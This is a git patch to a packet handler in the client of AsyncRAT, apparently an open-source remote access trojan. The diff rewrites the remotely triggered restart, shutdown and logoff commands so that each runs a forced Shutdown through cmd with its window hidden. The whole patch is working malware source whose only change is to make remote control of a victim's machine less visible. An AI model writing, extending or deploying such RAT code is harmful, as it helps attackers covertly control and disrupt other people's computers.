From ce53554a7b4c00649226e94dc9f8691b2ea60664 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 19 Jun 2019 10:12:37 +0300 Subject: [PATCH] Update HandlePcOptions.cs --- .../Client/Handle Packet/HandlePcOptions.cs | 37 +++++++++++++++++-- 1 file changed, 33 insertions(+), 4 deletions(-) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs index 601de0f..77e84b3 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs @@ -16,21 +16,50 @@ namespace Client.Handle_Packet case "restart": { Methods.ClientExit(); - Process.Start("Shutdown", "/r /f /t 00"); + Process proc = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "cmd", + Arguments = "/c Shutdown /r /f /t 00", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + } + }; + proc.Start(); break; } case "shutdown": { Methods.ClientExit(); - Process.Start("Shutdown", "/s /f /t 00"); - break; + Process proc = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "cmd", + Arguments = "/c Shutdown /s /f /t 00", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + } + }; + proc.Start(); break; } case "logoff": { Methods.ClientExit(); - Process.Start("Shutdown", "/l /f"); + Process proc = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "cmd", + Arguments = "/c Shutdown /l /f", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + } + }; + proc.Start(); break; } }